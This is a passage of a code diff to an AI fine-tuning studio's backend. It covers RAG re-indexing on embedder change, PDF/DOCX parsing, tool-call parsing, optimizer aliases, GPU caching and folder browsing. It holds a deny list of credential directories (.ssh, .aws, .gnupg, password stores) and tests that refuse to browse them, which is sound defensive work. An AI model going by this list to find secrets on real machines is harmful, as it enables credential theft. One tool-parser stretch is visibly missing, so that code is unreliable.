+ cached = self._dim + if cached is not None: + return cached + vec = self.encode(["x"], normalize = False) + width = int(vec.shape[1]) + self._dim = width + return width def warm(self, *, model_name = None) -> None: """Start the server and probe dim off the request path.""" diff --git a/studio/backend/core/rag/embeddings.py b/studio/backend/core/rag/embeddings.py index 4c8d690302..345b4dd853 100644 --- a/studio/backend/core/rag/embeddings.py +++ b/studio/backend/core/rag/embeddings.py @@ -67,7 +67,7 @@ def _get(model_name: str | None = None): """Cached SentenceTransformer, (re)loading on a name change. Loaded in fp16 for a ~1.5x speedup at negligible accuracy loss.""" global _model, _name - name = model_name or config.EMBEDDING_MODEL + name = model_name or config.effective_embedding_model() with _lock: if _model is None or _name != name: _install_torchao_stub_once() diff --git a/studio/backend/core/rag/ingestion.py b/studio/backend/core/rag/ingestion.py index 04365ab76b..cba076f1be 100644 --- a/studio/backend/core/rag/ingestion.py +++ b/studio/backend/core/rag/ingestion.py @@ -151,6 +151,19 @@ def _ocr_scanned_pages( return out, ocred +def _replace_old_document(conn, replaces: tuple[str, str | None] | None, keep_path: str) -> None: + """Drop the document this ingestion replaced (stale embedder / empty prior + ingest), called only after the replacement completed successfully.""" + if replaces is None: + return + old_id, old_path = replaces + try: + store.delete_document(conn, old_id) + _remove_upload(old_path, keep_path = keep_path) + except Exception: # noqa: BLE001 - the new document is already live + logger.warning("failed to remove replaced document %s", old_id, exc_info = True) + + def _run( job_id: str, document_id: str, @@ -159,6 +172,7 @@ def _run( model_name: str | None, ocr: bool | None = None, caption: bool | None = None, + replaces: tuple[str, str | None] | None = None, ) -> None: conn = rag_db.get_connection() try: @@ -213,6 +227,7 @@ def _run( ) if not chunks: store.set_document_status(conn, document_id, "completed", num_chunks = 0) + _replace_old_document(conn, replaces, stored_path) _set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0) _emit(job_id, {"type": "complete", "num_chunks": 0}) return @@ -233,6 +248,7 @@ def _run( _progress(conn, job_id, "storing", 0.9) store.add_chunks(conn, scope, document_id, chunks, vectors, regions) store.set_document_status(conn, document_id, "completed", num_chunks = len(chunks)) + _replace_old_document(conn, replaces, stored_path) _set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0) _emit(job_id, {"type": "complete", "num_chunks": len(chunks)}) @@ -274,17 +290,32 @@ def start_ingestion( sha = _sha256_file(stored_path) conn = rag_db.get_connection() try: + effective_model = model_name or config.effective_embedding_model() + # (old_document_id, old_stored_path) replaced by this upload; deleted by + # the worker only after the replacement completes, so a failed re-index + # never destroys the still-searchable original. + replaces: tuple[str, str | None] | None = None existing = store.document_by_hash(conn, scope, sha) if existing is not None: doc = store.get_document(conn, existing) empty_completed = ( doc is not None and doc.get("status") == "completed" and not doc.get("num_chunks") ) - if empty_completed: + # Vectors from a different embedder are stale; re-uploading must + # re-index, not dedupe. NULL (legacy rows) is assumed current. Only + # completed rows are replaceable: a pending/running duplicate has a + # live worker whose writes must not land on a deleted document. + stale_model = ( + doc is not None + and doc.get("status") == "completed" + and doc.get("embedding_model") is not None + and doc.get("embedding_model") != effective_model + ) + if empty_completed or stale_model: # A prior ingest of identical bytes yielded zero chunks (e.g. a scanned - # PDF uploaded before a vision model loaded). Re-ingest, don't dedupe. - store.delete_document(conn, existing) - _remove_upload(doc.get("stored_path"), keep_path = stored_path) + # PDF uploaded before a vision model loaded), or was embedded with a + # different model. Re-ingest, don't dedupe. + replaces = (existing, doc.get("stored_path")) else: job_id = _new_job(conn, existing, scope, status = "completed", progress = 1.0) _remove_upload(stored_path) @@ -310,6 +341,7 @@ def start_ingestion( project_id = project_id, status = "pending", stored_path = stored_path, + embedding_model = effective_model, ) job_id = _new_job(conn, document_id, scope) finally: @@ -319,7 +351,10 @@ def start_ingestion( _jobs[job_id] = queue.Queue() threading.Thread( target = _run, - args = (job_id, document_id, scope, stored_path, model_name, ocr, caption), + # effective_model (not the raw model_name) pins the embedder for the + # whole job: a Settings change mid-ingestion must not switch tokenizer + # or embedder between batches of one document. + args = (job_id, document_id, scope, stored_path, effective_model, ocr, caption, replaces), daemon = True, ).start() return document_id, job_id diff --git a/studio/backend/core/rag/parsers.py b/studio/backend/core/rag/parsers.py index ba248cf9a6..9afddf1d9e 100644 --- a/studio/backend/core/rag/parsers.py +++ b/studio/backend/core/rag/parsers.py @@ -12,6 +12,7 @@ from __future__ import annotations import logging import os +import re from dataclasses import dataclass from html.parser import HTMLParser @@ -69,6 +70,39 @@ def _html(raw: str) -> list[Page]: return [_page("\n".join(parser.out), 1)] +# pymupdf4llm rebuilds text from positioned glyphs, which mangles complex-shaping +# scripts (RTL Arabic/Hebrew emerge as shaped Presentation Forms, Indic matras drop to +# U+FFFD) and can silently drop most of a heavy-RTL page. When Markdown trips these +# signals we fall back to PyMuPDF's logical-order get_text(). Thresholds mirror the chat +# extractor guard (unslothai/unsloth#5351 review). +_SHAPED_PRESENTATION_FORMS = re.compile("[\ufb1d-\ufdff\ufe70-\ufefc]") +_PDF_FALLBACK_MIN_BAD_GLYPHS = 5 +_PDF_FALLBACK_BAD_GLYPH_RATIO = 0.0005 +_PDF_INCOMPLETE_RATIO = 0.75 +_PDF_INCOMPLETE_MIN_LETTERS = 200 + + +def _markdown_corrupted(text: str) -> bool: + """True when pymupdf4llm's glyph reconstruction mangled the text: shaped RTL + Presentation Forms or U+FFFD replacements above a small floor/ratio (so a lone + legitimate shaped glyph does not force the fallback).""" + if not text: + return False + threshold = max(_PDF_FALLBACK_MIN_BAD_GLYPHS, _PDF_FALLBACK_BAD_GLYPH_RATIO * len(text)) + shaped = len(_SHAPED_PRESENTATION_FORMS.findall(text)) + return shaped > threshold or text.count("\ufffd") > threshold + + +def _markdown_incomplete(markdown: str, plain: str) -> bool: + """True when ``markdown`` holds far fewer letters than the raw ``get_text`` layer -- a + coarse guard for heavy-RTL pages pymupdf4llm silently drops without shaped glyphs.""" + plain_letters = sum(1 for c in plain if c.isalnum()) + if plain_letters < _PDF_INCOMPLETE_MIN_LETTERS: + return False + markdown_letters = sum(1 for c in markdown if c.isalnum()) + return markdown_letters < _PDF_INCOMPLETE_RATIO * plain_letters + + def _pdf_markdown(doc) -> list[str] | None: """Per-page layout-aware Markdown (tables, headings, lists) via pymupdf4llm; index i maps to page i+1. Returns None when the lib is missing, extraction fails, or the @@ -100,9 +134,19 @@ def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]: try: md = _pdf_markdown(doc) if config.PDF_MARKDOWN else None for i, page in enumerate(doc): - # Prefer layout-aware Markdown (keeps tables/headings legible for retrieval); - # fall back to plain text when Markdown is off, unavailable, or empty here. - text = (md[i] if md else "") or page.get_text("text") or "" + plain = page.get_text("text") or "" + candidate = md[i] if md else "" + # Prefer layout-aware Markdown (keeps tables/headings legible for retrieval), + # but drop to PyMuPDF's logical-order text when Markdown is off/empty or when + # pymupdf4llm mangled it (RTL/Indic) or dropped most of the page. + if ( + candidate + and not _markdown_corrupted(candidate) + and not _markdown_incomplete(candidate, plain) + ): + text = candidate + else: + text = plain pages.append(_page(text, i + 1)) if want_images: for img in page.get_images(full = True): @@ -308,12 +352,61 @@ def render_pdf_pages( doc.close() +def _docx_table_rows(table) -> list[str]: + """Each row as pipe-joined cell text (the locator splits anchors on pipes). + Columns stay aligned to the layout grid (merged cells fill their spanned slots, + skipped leading/trailing grid columns become empty fields). Cells are walked in + document order so a nested table, and any text after it, flattens in place.""" + from docx.table import Table + from docx.text.paragraph import Paragraph + + rows: list[str] = [] + seen: set = set() # already emitted; dedups merges spanning columns or rows + for row in table.rows: + cells: list[str] = [""] * getattr(row, "grid_cols_before", 0) + trailing: list[str] = [] # nested rows + any post-nested text, kept in order + for cell in row.cells: + # A merged cell shares one across the columns and rows it spans: + # emit its text once, then placeholders, so columns and rows stay aligned. + if cell._tc in seen: + cells.append("") + continue + seen.add(cell._tc) + # Paragraph text before the first nested table is the aligned field; the + # nested table and anything after it flatten below the row, in order. + field: list[str] = [] + after_table = False + for item in cell.iter_inner_content(): + if isinstance(item, Table): + after_table = True + trailing.extend(_docx_table_rows(item)) + elif isinstance(item, Paragraph): + text = " ".join(item.text.split()) # collapse in-cell newlines + if text: + (trailing if after_table else field).append(text) + cells.append(" ".join(field)) # empty cells kept so columns line up + cells.extend([""] * getattr(row, "grid_cols_after", 0)) + if any(c.strip() for c in cells): + rows.append(" | ".join(cells)) + rows.extend(trailing) + return rows + + def _docx(path: str) -> list[Page]: import docx + from docx.table import Table + from docx.text.paragraph import Paragraph document = docx.Document(path) - text = "\n".join(p.text for p in document.paragraphs) - return [_page(text, None)] + lines: list[str] = [] + # Walk body content in document order: paragraphs alone drop tables entirely. + for block in document.iter_inner_content(): + if isinstance(block, Paragraph): + if block.text.strip(): + lines.append(block.text) + elif isinstance(block, Table): + lines.extend(_docx_table_rows(block)) + return [_page("\n".join(lines), None)] def parse(path: str, *, want_images: bool = False): diff --git a/studio/backend/core/rag/retrieval.py b/studio/backend/core/rag/retrieval.py index fe6a033a52..6f933e089e 100644 --- a/studio/backend/core/rag/retrieval.py +++ b/studio/backend/core/rag/retrieval.py @@ -39,8 +39,12 @@ def retrieve_dense( model_name: str | None = None, ) -> list[Hit]: k = k or config.TOP_K_DENSE - vec = embeddings.encode([query], model_name = model_name, normalize = True)[0] - return [Hit(cid, s, dense_score = s) for cid, s in store.search_dense(conn, scope, vec, k)] + effective = model_name or config.effective_embedding_model() + vec = embeddings.encode([query], model_name = effective, normalize = True)[0] + return [ + Hit(cid, s, dense_score = s) + for cid, s in store.search_dense(conn, scope, vec, k, embedding_model = effective) + ] def _rrf(rankings: list[list[Hit]], rrf_k: int, top_k: int) -> list[Hit]: diff --git a/studio/backend/core/rag/store.py b/studio/backend/core/rag/store.py index 8e59c5fbf6..f9128d1715 100644 --- a/studio/backend/core/rag/store.py +++ b/studio/backend/core/rag/store.py @@ -109,11 +109,12 @@ def create_document( status: str = "pending", stored_path: str | None = None, document_id: str | None = None, + embedding_model: str | None = None, ) -> str: document_id = document_id or str(uuid.uuid4()) conn.execute( "INSERT INTO documents(id, scope, kb_id, thread_id, project_id, filename, sha256, " - "status, stored_path, created_at) VALUES(?,?,?,?,?,?,?,?,?,?)", + "status, stored_path, created_at, embedding_model) VALUES(?,?,?,?,?,?,?,?,?,?,?)", ( document_id, scope, @@ -125,6 +126,7 @@ def create_document( status, stored_path, _now(), + embedding_model, ), ) conn.commit() @@ -261,20 +263,50 @@ def search_lexical(conn: sqlite3.Connection, scope, query: str, k: int): return [(r["chunk_id"], -r["s"]) for r in rows] -def search_dense(conn: sqlite3.Connection, scope, vector, k: int): +def search_dense( + conn: sqlite3.Connection, + scope, + vector, + k: int, + *, + embedding_model: str | None = None, +): """Cosine KNN over vec0 for one scope or several. Returns [(chunk_id, 1 - distance)]. vec0 KNN constrains its partition key by - equality, so multi-scope runs one query per scope and merges by score.""" + equality, so multi-scope runs one query per scope and merges by score. + ``embedding_model`` drops hits from documents indexed under a different + (same-width) model, whose vectors live in another space; NULL-model legacy + documents are assumed current, matching the ingestion dedupe rule.""" if not rag_db.vec_table_exists(conn): return [] + dim = rag_db.vec_table_dim(conn) + if dim is not None and dim != len(vector): + # Embedding model switched widths and nothing re-indexed yet; the stale + # table cannot answer new-model queries (vec0 errors on the MATCH). + return [] + # Over-fetch when filtering so stale-model hits don't starve the top-k. + fetch = k * 3 if embedding_model else k out: list[tuple[str, float]] = [] for s in _scopes(scope): rows = conn.execute( "SELECT chunk_id, distance FROM chunks_vec " "WHERE scope=? AND embedding MATCH ? ORDER BY distance LIMIT ?", - (s, _f32(vector), k), + (s, _f32(vector), fetch), ).fetchall() out.extend((r["chunk_id"], 1.0 - r["distance"]) for r in rows) + if embedding_model and out: + ids = [cid for cid, _ in out] + placeholders = ",".join("?" * len(ids)) + valid = { + r["id"] + for r in conn.execute( + f"SELECT c.id FROM chunks c JOIN documents d ON d.id=c.document_id " + f"WHERE c.id IN ({placeholders}) " + f"AND (d.embedding_model IS NULL OR d.embedding_model=?)", + (*ids, embedding_model), + ).fetchall() + } + out = [t for t in out if t[0] in valid] out.sort(key = lambda t: t[1], reverse = True) return out[:k] diff --git a/studio/backend/core/tool_healing.py b/studio/backend/core/tool_healing.py index fe26d48c7f..e8367ad08c 100644 --- a/studio/backend/core/tool_healing.py +++ b/studio/backend/core/tool_healing.py @@ -301,28 +301,28 @@ def parse_tool_calls_from_text( *, id_offset: int = 0, allow_incomplete: bool = True, -) -> list[dict]: + with_spans: bool = False, +): """Parse OpenAI-format tool calls from model text. Handles formats like: {"name":"web_search","arguments":{"query":"..."}} <|tool_call>call:web_search{query:"..."} ... + + With ``with_spans=True`` returns ``(tool_calls, spans)`` where ``spans[i]`` + is the half-open ``(start, end)`` byte range of ``tool_calls[i]``'s markup + in ``content`` (including its close tag when present), so a caller can + remove exactly the parsed markup and keep every other byte intact. """ tool_calls: list[dict] = [] - # Collect JSON- and Gemma-format candidates with their byte spans, then - # accept them in document order. Both order and spans matter: - # * tools execute in returned order, so a call appearing earlier in the - # text must be emitted first even across the two formats; - # * a tool-call marker INSIDE another call's argument string is data, not a - # call, so a candidate starting within an already accepted span is - # skipped (covers a JSON marker nested in a Gemma arg and a Gemma marker - # nested in a JSON arg alike, regardless of which format is outer). + call_spans: list[tuple] = [] + # Collect every supported call format with spans, then emit in document + # order. A marker inside another call's argument string is data, not a + # separate executable call. + parsed_items = [] # (start, span_end, name, arguments) candidates = [] # (start, brace_end, kind, match) for m in _TC_JSON_START_RE.finditer(content): - # A marker that begins inside an open value - # is that parameter's data, not its own call; skip it (same guard the - # XML-style parser below applies to nested = 0: + span_end = body_start + close_idx + len(_FUNC_CLOSE_TAG) + body = body[:close_idx] + elif not allow_incomplete: + continue + else: + body = _TC_FUNC_CLOSE_RE.sub("", body) + span_end = body_end + + arguments: dict = {} + param_starts = list(_TC_PARAM_START_RE.finditer(body)) + if len(param_starts) == 1: + pm = param_starts[0] + val = body[pm.end() :] + if not allow_incomplete: + stripped_val = val.rstrip() + if not stripped_val.endswith(_PARAM_CLOSE_TAG): + continue + val = stripped_val[: -len(_PARAM_CLOSE_TAG)] + else: + val = _TC_PARAM_CLOSE_RE.sub("", val) + arguments[pm.group(1)] = val.strip() + else: + valid_params = True + for pidx, pm in enumerate(param_starts): + param_name = pm.group(1) + val_start = pm.end() + next_param = ( + param_starts[pidx + 1].start() if pidx + 1 < len(param_starts) else len(body) + ) + val = body[val_start:next_param] + if not allow_incomplete: + stripped_val = val.rstrip() + if not stripped_val.endswith(_PARAM_CLOSE_TAG): + valid_params = False + break + val = stripped_val[: -len(_PARAM_CLOSE_TAG)] + else: + val = _TC_PARAM_CLOSE_RE.sub("", val) + arguments[param_name] = val.strip() + if not valid_params: + continue + + span_start = fm.start() + wrap_open = re.search(r"\s*$", content[:span_start]) + wrap_close = re.match(r"\s*", content[span_end:]) + if wrap_open and wrap_close: + span_start = wrap_open.start() + span_end += wrap_close.end() + parsed_items.append((span_start, span_end, func_name, json.dumps(arguments))) + + parsed_items.sort(key = lambda item: item[0]) + for start, span_end, name, arguments in parsed_items: tool_calls.append( { "id": f"call_{id_offset + len(tool_calls)}", @@ -369,77 +443,9 @@ def parse_tool_calls_from_text( "function": {"name": name, "arguments": arguments}, } ) - - if not tool_calls: - func_starts = [ - fm - for fm in _TC_FUNC_START_RE.finditer(content) - if not _inside_open_parameter(content, fm.start()) - ] - for idx, fm in enumerate(func_starts): - func_name = fm.group(1) - body_start = fm.end() - next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content) - end_tag = _TC_END_TAG_RE.search(content[body_start:]) - if end_tag: - body_end = body_start + end_tag.start() - else: - body_end = len(content) - body_end = min(body_end, next_func) - body = content[body_start:body_end] - if not allow_incomplete: - close_idx = body.rfind(_FUNC_CLOSE_TAG) - if close_idx < 0: - continue - body = body[:close_idx] - else: - body = _TC_FUNC_CLOSE_RE.sub("", body) - - arguments: dict = {} - param_starts = list(_TC_PARAM_START_RE.finditer(body)) - if len(param_starts) == 1: - pm = param_starts[0] - val = body[pm.end() :] - if not allow_incomplete: - stripped_val = val.rstrip() - if not stripped_val.endswith(_PARAM_CLOSE_TAG): - continue - val = stripped_val[: -len(_PARAM_CLOSE_TAG)] - else: - val = _TC_PARAM_CLOSE_RE.sub("", val) - arguments[pm.group(1)] = val.strip() - else: - valid_params = True - for pidx, pm in enumerate(param_starts): - param_name = pm.group(1) - val_start = pm.end() - next_param = ( - param_starts[pidx + 1].start() - if pidx + 1 < len(param_starts) - else len(body) - ) - val = body[val_start:next_param] - if not allow_incomplete: - stripped_val = val.rstrip() - if not stripped_val.endswith(_PARAM_CLOSE_TAG): - valid_params = False - break - val = stripped_val[: -len(_PARAM_CLOSE_TAG)] - else: - val = _TC_PARAM_CLOSE_RE.sub("", val) - arguments[param_name] = val.strip() - if not valid_params: - continue - - tc = { - "id": f"call_{id_offset + len(tool_calls)}", - "type": "function", - "function": { - "name": func_name, - "arguments": json.dumps(arguments), - }, - } - tool_calls.append(tc) + call_spans.append((start, span_end)) + if with_spans: + return tool_calls, call_spans return tool_calls diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py index 6f55daee39..20b2305a5a 100644 --- a/studio/backend/core/training/trainer.py +++ b/studio/backend/core/training/trainer.py @@ -3672,7 +3672,7 @@ class UnslothTrainer: return try: - with open(config_path, "r") as f: + with open(config_path, "r", encoding = "utf-8") as f: config = json.load(f) # Determine training method @@ -3686,7 +3686,7 @@ class UnslothTrainer: config["unsloth_training_method"] = method logger.info(f"Patching adapter_config.json with unsloth_training_method='{method}'") - with open(config_path, "w") as f: + with open(config_path, "w", encoding = "utf-8") as f: json.dump(config, f, indent = 2) except Exception as e: diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py index 610af2472e..17dc1299ca 100644 --- a/studio/backend/core/training/worker.py +++ b/studio/backend/core/training/worker.py @@ -1253,32 +1253,48 @@ def _adapt_for_mlx_vlm( return adapted -_MLX_STUDIO_OPTIM_MAP = { - "adamw_8bit": "adamw", - "paged_adamw_8bit": "adamw", - "adamw_bnb_8bit": "adamw", - "paged_adamw_32bit": "adamw", - "adamw_torch": "adamw", - "adamw_torch_fused": "adamw", - "adamw": "adamw", - "adafactor": "adafactor", - "sgd": "sgd", - "adam": "adam", - "muon": "muon", - "lion": "lion", -} _MLX_STUDIO_LR_SCHEDULERS = {"linear", "cosine", "constant"} +# Fallback alias map mirroring unsloth_zoo._normalize_mlx_optimizer_name, used +# only when mlx (Apple Silicon) is not importable so Studio config validation +# still works on non-MLX hosts. The zoo function stays the source of truth. +_MLX_STUDIO_ADAMW_ALIASES = frozenset( + ( + "adamw_8bit", + "paged_adamw_8bit", + "adamw_bnb_8bit", + "paged_adamw_32bit", + "adamw_torch", + "adamw_torch_fused", + "paged_adamw", + "adamw_32bit", + "adamw_hf", + "adamw_anyprecision", + "adamw_apex_fused", + ) +) +_MLX_STUDIO_NATIVE_OPTIMIZERS = ("adafactor", "adamw", "adam", "sgd", "muon", "lion") + + def _normalize_mlx_studio_optimizer(value): - raw = str(value or "adamw_8bit").strip().lower() try: - return _MLX_STUDIO_OPTIM_MAP[raw] - except KeyError: - supported = ", ".join(sorted(_MLX_STUDIO_OPTIM_MAP)) - raise ValueError( - f"Unsupported optimizer for MLX training: {value!r}. " f"Supported values: {supported}." - ) + from unsloth_zoo.mlx.trainer import _normalize_mlx_optimizer_name + return _normalize_mlx_optimizer_name(value or "adamw_8bit") + except (ImportError, ValueError): + # Missing mlx, or an older unsloth-zoo whose normalizer lacks CUDA/TRL + # aliases: map common adamw_* names locally so notebook defaults work. + opt = str(getattr(value, "value", value) or "adamw_8bit").strip().lower() + opt = opt.rsplit(".", 1)[-1].replace("-", "_") + if opt in _MLX_STUDIO_ADAMW_ALIASES: + opt = "adamw" + if opt not in _MLX_STUDIO_NATIVE_OPTIMIZERS: + supported = ", ".join(_MLX_STUDIO_NATIVE_OPTIMIZERS) + raise ValueError( + f"Unsupported optimizer for MLX training: {value!r}. " + f"Supported optimizers: {supported}." + ) + return opt def _normalize_mlx_studio_scheduler(value): diff --git a/studio/backend/hub/services/models/folder_browser.py b/studio/backend/hub/services/models/folder_browser.py index 9b0b46509b..eb137127fb 100644 --- a/studio/backend/hub/services/models/folder_browser.py +++ b/studio/backend/hub/services/models/folder_browser.py @@ -27,6 +27,7 @@ from hub.utils.paths import ( studio_root, well_known_model_dirs, ) +from utils.paths.external_media import linux_run_media_mount_roots from hub.services.models.common import _safe_is_dir from hub.services.models.local_inventory import _resolve_hf_cache_dir @@ -175,6 +176,8 @@ def _build_browse_allowlist() -> list[Path]: candidates.append(resolved) _add(Path.home()) + for p in linux_run_media_mount_roots(): + _add(p) _add(_resolve_hf_cache_dir()) try: _add(hf_default_cache_dir()) @@ -346,6 +349,11 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa ) current = resolved_child + if contains_sensitive_path_component(str(current)): + raise HTTPException( + status_code = 403, + detail = "Credential or configuration directories are not browseable.", + ) if not current.is_dir(): raise HTTPException( status_code = 400, @@ -485,6 +493,8 @@ def browse_folders_response( # Home first as the safe fallback. _add_sug(Path.home()) + for p in linux_run_media_mount_roots(): + _add_sug(p) # The HF cache root in use (honors HF_HOME / HF_HUB_CACHE), then the default. try: _add_sug(_resolve_hf_cache_dir()) diff --git a/studio/backend/hub/storage/scan_folders.py b/studio/backend/hub/storage/scan_folders.py index 85f515da00..fdb15c7c3c 100644 --- a/studio/backend/hub/storage/scan_folders.py +++ b/studio/backend/hub/storage/scan_folders.py @@ -16,37 +16,14 @@ from datetime import datetime, timezone from storage.studio_db import get_connection from hub.utils.paths import normalize_path +from utils.paths.external_media import is_linux_run_media_path +from utils.paths.sensitive import ( + contains_sensitive_path_component as _shared_contains_sensitive_path_component, +) _schema_lock = threading.Lock() _schema_ready = False -_SENSITIVE_PATH_COMPONENTS = { - ".aws", - ".azure", - ".config", - ".docker", - ".gcloud", - ".gnupg", - ".huggingface", - ".kaggle", - ".kube", - ".modelscope", - ".ngc", - ".local", - ".mozilla", - ".pki", - ".thunderbird", - ".ssh", - ".1password", - ".bitwarden", - ".password-store", - "1password", - "bitwarden", - "keychains", - "keyrings", - "mozilla", - "thunderbird", -} def _denied_path_prefixes() -> list[str]: @@ -76,8 +53,7 @@ def _denied_path_prefixes() -> list[str]: def _contains_sensitive_path_component(path: str) -> bool: - parts = os.path.normpath(path).split(os.sep) - return any(part.lower() in _SENSITIVE_PATH_COMPONENTS for part in parts) + return _shared_contains_sensitive_path_component(path) def contains_sensitive_path_component(path: str) -> bool: @@ -142,6 +118,8 @@ def add_scan_folder(path: str) -> dict: check = os.path.normcase(normalized) if is_win else normalized for prefix in _denied_path_prefixes(): if check == prefix or check.startswith(prefix + os.sep): + if prefix == "/run" and is_linux_run_media_path(check): + continue raise ValueError(f"Path under {prefix} is not allowed") conn = get_connection() diff --git a/studio/backend/hub/tests/test_model_services.py b/studio/backend/hub/tests/test_model_services.py index e22aaba282..f05d8359ec 100644 --- a/studio/backend/hub/tests/test_model_services.py +++ b/studio/backend/hub/tests/test_model_services.py @@ -168,6 +168,16 @@ def test_resolve_browse_target_rejects_sensitive_dir(tmp_path): assert exc_info.value.status_code == 403 +def test_resolve_browse_target_rejects_sensitive_root(tmp_path): + ssh = tmp_path / "home" / ".ssh" + ssh.mkdir(parents = True) + + with pytest.raises(HTTPException) as exc_info: + folder_browser._resolve_browse_target(str(ssh), [ssh]) + + assert exc_info.value.status_code == 403 + + def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path): home = tmp_path / "home" (home / ".ssh").mkdir(parents = True) @@ -181,6 +191,24 @@ def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path): assert ".ssh" not in names +def test_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path): + home = tmp_path / "home" + media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB" + model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6" + home.mkdir() + model_dir.mkdir(parents = True) + monkeypatch.setattr(folder_browser.Path, "home", lambda: home) + monkeypatch.setattr(folder_browser, "linux_run_media_mount_roots", lambda: [media_root]) + monkeypatch.setattr(folder_browser, "_resolve_hf_cache_dir", lambda: tmp_path / "missing-hf") + monkeypatch.setattr(scan_folders, "list_scan_folders", lambda: []) + monkeypatch.setattr(folder_browser, "well_known_model_dirs", lambda: []) + + allowlist = folder_browser._build_browse_allowlist() + + assert media_root.resolve() in allowlist + assert folder_browser._resolve_browse_target(str(model_dir), allowlist) == model_dir.resolve() + + def test_get_models_folder_response_creates_and_returns_dir(monkeypatch, tmp_path): # The endpoint creates the cache dir on demand so the desktop "Open folder" # action works even before the first download. diff --git a/studio/backend/main.py b/studio/backend/main.py index 0a5b775775..8762c43195 100644 --- a/studio/backend/main.py +++ b/studio/backend/main.py @@ -12,6 +12,8 @@ from pathlib import Path as _Path import asyncio from dataclasses import asdict +from typing import Any, Optional + # Suppress C-level dependency warnings globally os.environ["PYTHONWARNINGS"] = "ignore" @@ -24,6 +26,22 @@ os.environ["PYTHONWARNINGS"] = "ignore" # process is covered before its heavy ML imports. os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID") +# Windows terminals default to the active system code page. Reconfigure +# stdout/stderr before the startup banner so non-ASCII output cannot crash the +# backend process. +if sys.platform == "win32": + for _win_stream in (sys.stdout, sys.stderr): + if _win_stream is not None and hasattr(_win_stream, "reconfigure"): + try: + _win_stream.reconfigure(encoding = "utf-8", errors = "replace") + except Exception: + pass + del _win_stream + +_SYSTEM_GPU_CACHE_TTL_SECONDS = 10.0 +_system_gpu_cache_lock = threading.Lock() +_system_gpu_cache: Optional[tuple[float, dict[str, Any]]] = None + # ── Windows AMD ROCm DLL injection ────────────────────────────────────────── # Python 3.8+ ignores PATH for extension modules; register ROCm bin dirs with # os.add_dll_directory() so amdhip64.dll etc. are found before any torch import. @@ -214,7 +232,6 @@ import shutil import warnings from contextlib import asynccontextmanager from importlib.metadata import PackageNotFoundError, version as package_version -from typing import Optional from urllib.parse import urlparse @@ -520,6 +537,11 @@ async def lifespan(app: FastAPI): _start_helper_precache_if_enabled() threading.Thread(target = _warm_rag_embedder, daemon = True, name = "rag-embedder-warm").start() + # Idle auto-unload loop (no-op unless the OpenAI auto-unload TTL is set). + from core.inference.llama_keepwarm import idle_unload_loop + + app.state.idle_unload_task = asyncio.create_task(idle_unload_loop()) + # Initialize RSA key pair for API key encryption (external providers). from core.inference.key_exchange import init_key_pair @@ -549,6 +571,14 @@ async def lifespan(app: FastAPI): ) yield + _idle_task = getattr(app.state, "idle_unload_task", None) + if _idle_task is not None: + _idle_task.cancel() + try: + await _idle_task + except asyncio.CancelledError: + pass + from core.inference.llama_http import aclose as _close_llama_http await _close_llama_http() @@ -871,6 +901,11 @@ app.add_middleware( upload_passthrough_max_bytes_getter = _get_upload_passthrough_request_max_bytes, ) +# Tracks in-flight inference requests for idle auto-unload; off -> passthrough. +from core.inference.llama_keepwarm import LlamaKeepWarmMiddleware # noqa: E402 + +app.add_middleware(LlamaKeepWarmMiddleware) + from starlette.responses import RedirectResponse as _RedirectResponse # noqa: E402 @@ -1048,8 +1083,57 @@ async def shutdown_server(request: Request, current_subject: str = Depends(get_c return {"status": "shutting_down"} +def _get_cached_system_gpu_info(logger) -> dict[str, Any]: + """Return merged GPU visibility/utilization with bounded live-probe churn.""" + import time + from utils.hardware import get_backend_visible_gpu_info, get_visible_gpu_utilization + + global _system_gpu_cache + now = time.monotonic() + with _system_gpu_cache_lock: + if _system_gpu_cache is not None: + cached_at, cached_gpu_info = _system_gpu_cache + if now - cached_at < _SYSTEM_GPU_CACHE_TTL_SECONDS: + return cached_gpu_info + + try: + visibility_info = get_backend_visible_gpu_info() or {"available": False, "devices": []} + except Exception as e: + logger.debug(f"Failed to get GPU visibility info: {e}") + visibility_info = {"available": False, "devices": []} + + try: + utilization_info = get_visible_gpu_utilization() or {"devices": []} + except Exception as e: + logger.debug(f"Failed to get GPU utilization info: {e}") + utilization_info = {"devices": []} + + util_devices = {d.get("index"): d for d in utilization_info.get("devices", [])} + enriched_devices = [] + + for dev in visibility_info.get("devices", []): + idx = dev.get("index") + util = util_devices.get(idx, {}) + + total_vram = util.get("vram_total_gb") or dev.get("memory_total_gb") or 0 + used_vram = util.get("vram_used_gb") or 0 + + enriched_dev = dict(dev) + enriched_dev["vram_used_gb"] = used_vram + enriched_dev["vram_free_gb"] = round(total_vram - used_vram, 2) if total_vram else 0 + enriched_dev["vram_utilization_pct"] = util.get("vram_utilization_pct") + enriched_devices.append(enriched_dev) + + gpu_info = { + "available": visibility_info.get("available", False), + "devices": enriched_devices, + } + _system_gpu_cache = (time.monotonic(), gpu_info) + return gpu_info + + @app.get("/api/system") -async def get_system_info(current_subject: str = Depends(get_current_subject)): +def get_system_info(current_subject: str = Depends(get_current_subject)): """Get system information. Auth-gated: the response (platform, Python/GPU, memory, ML packages) can @@ -1058,31 +1142,84 @@ async def get_system_info(current_subject: str = Depends(get_current_subject)): """ import platform import psutil - from utils.hardware import get_device + import os + import time + import logging + from utils.hardware import get_device, export_capability from utils.hardware.hardware import _backend_label - visibility_info = get_backend_visible_gpu_info() - gpu_info = { - "available": visibility_info["available"], - "devices": visibility_info["devices"], - } + logger = logging.getLogger(__name__) + + gpu_info = _get_cached_system_gpu_info(logger) - # CPU & Memory memory = psutil.virtual_memory() + try: + cpu_freq = psutil.cpu_freq() + except Exception as e: + logger.debug(f"Failed to get CPU frequency: {e}") + cpu_freq = None + + try: + disk = psutil.disk_usage(os.path.abspath(os.sep)) + except Exception as e: + logger.debug(f"Failed to get disk usage: {e}") + disk = None + + try: + current_process = 